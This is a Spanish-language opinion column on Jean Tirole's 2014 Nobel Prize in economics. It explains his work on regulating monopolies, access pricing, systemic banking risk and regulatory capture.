Sobre el Premio Nobel de Economía 2014

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El anuncio del premio Nobel de economía cada segundo lunes de octubre es para algunos economistas “nerd” (como este autor) algo así como la final del Mundial, la entrega de los premios Óscar y la Navidad en un solo paquete: busca premiar a los mejores, está acompañado de mucha atención mediática y sucede sólo una vez al año. Aún así, el triunfo del francés Jean Tirole tiene en esta oportunidad un sabor distinto, en parte debido a lo amplio e influyente de su contribución. De hecho, existía un relativamente amplio consenso en la profesión en que Tirole, tarde o temprano, sería seleccionado para el galardón.

Nuestro propio Miguel Ángel Saldarriaga ha realizado un breve pero contundente recuento del premio (sí, es un premio Nobel pero el mismo Alfred Nobel nunca lo dispuso, lo que lo convierte en el patito feo de los galardones suecos) y algunos de sus ganadores más famosos aquí, el cual recomiendo leer. En esa lista, él destaca un aspecto por todos conocido: la academia norteamericana ha dominado el premio desde hace ya varias décadas. Es esto lo que destaca en primera instancia de Tirole, pues esta es la primera vez desde 1999 que entre el ganador o ganadores no se encuentra un economista de EE.UU. (y en aquella ocasión el ganador fue Robert Mundell, quien es canadiense).

Pero vayamos a los más importante: ¿qué hizo Tirole para llegar al Olimpo de la economía? Si hay una forma de ponerlo de manera sucinta, diríamos que, así como Adam Smith nos habló de la “mano invisible” del mercado, Tirole identificó y estudió aquellos casos en los que se requiere de una “mano visible”. El premio que ha recibido, es por tanto, un premio al estudio de la organización y estructura de mercados y el análisis de las políticas regulatorias. Su trabajo ha permitido reconocer, por más de los últimos treinta años, que cada mercado tiene su propia peculiaridad y que reglas simples aplicadas a rajatabla en todos ellos produce resultados menos beneficiosos.

Aquí un ejemplo. En los casos de la telefonía o la electricidad, se requiere de una fuerte inversión en infraestructura que otorga una ventaja estructural al primer entrante en el mercado. Así, una empresa que realiza la inversión en líneas de transmisión (“el monopolio”) tiene luego propiedad sobre las mismas y puede prohibir su uso a una segunda empresa que quiera ingresar (“el competidor”). Por un lado, si el gobierno interviene y obliga al monopolio a “compartir” la infraestructura, entonces esta no tendría incentivos para invertir en primer lugar; por otro, si el competidor decide invertir en su propia infraestructura en vez de utilizar la existente, el resultado es ineficiente pues se utilizan más recursos de los necesarios para proveer el servicio (se invierte dos veces). En consecuencia, el regulador podría forzar al monopolio a permitir que el competidor haga uso de su infraestructura a través de un pago (el” precio de acceso”). Pero, ¿cómo determinar el costo? Si el monopolio pudiera elegir, cobraría un precio alto que haga que el competidor quiebre; en cambio, si el competidor pudiera elegir, entonces pagaría un precio bajo que le brinde una ventaja competitiva frente al monopolio. Lo lógico es que el gobierno establezca un mecanismo en el que el monopolio cobre un precio que responda a su estructura de costos, pero ésta es una incógnita para el regulador. Tirole estableció los métodos para aproximar este precio en base los costos que sí logran observarse y la demanda por el servicio, lo cual responde a las peculiaridades de cada industria. En el Perú, OSIPTEL aplica algunos métodos inspirados en su trabajo para los precios de acceso entre las empresas de telefonía fija y celular, por ejemplo.

Otro caso es el análisis de los riesgos sistémicos en el sector bancario. Tirole mostró, en estudios publicados desde 1985 (¡más de veinte años antes de la última crisis financiera!) que el sector en su conjunto puede acumular demasiada deuda de corto plazo en una suerte de estrategia complementaria: en caso de que una institución entre en problemas, el gobierno se vería forzado a rescatarla en vista que la industria está muy interconectada y sus pares también han acumulado grandes niveles de apalancamiento. En ese sentido, Tirole fue uno de los primeros en señalar lo que ahora parece ser una verdad evidente: que la presencia del Estado puede generar incentivos perversos que estimulan la toma de riesgo, pues los bancos presumen que el gobierno los rescatará en una situación de estrés. Teniendo esto en cuenta, las medidas correctivas sugeridas por sus estudios incluyen la aplicación de requisitos de liquidez (los cuales forman ahora parte del acuerdo de Basilea III, que busca regular la banca internacional) así como el diseño de supervisión recurrente. Adicionalmente, Tirole destacó que los reguladores fungen un rol representativo, pues la mayoría de clientes del sector financiero no cuentan con información suficiente como para evaluar adecuadamente la solidez del sistema. Sus ideas son hoy la piedra angular de muchos esfuerzos por establecer un marco regulatorio en el sistema financiero global.

La lista de ejemplos continúa y es bastante extensa: “captura regulatoria” (cuando el regulador es influenciado por a empresa bajo su supervisión y termina actuando en su favor), teoría de patentes, la formación de carteles, etc. La influencia de Jean Tirole es una de las más amplias de la profesión, y con justa razón. Cuando el 10 de diciembre reciba en Estocolmo el premio, recibirá más que una medalla, un diploma y un cheque (este último, por cierto, no está nada mal). Recibirá un reconocimiento a la labor esforzada pero valiosa de tratar de evaluar cada política dentro de su respectivo contexto y con la finalidad de diseñar mejores políticas públicas. Y eso será un triunfo de la economía como disciplina orientada a la solución de problemas. Ojalá más colegas comiencen a imitarlo.

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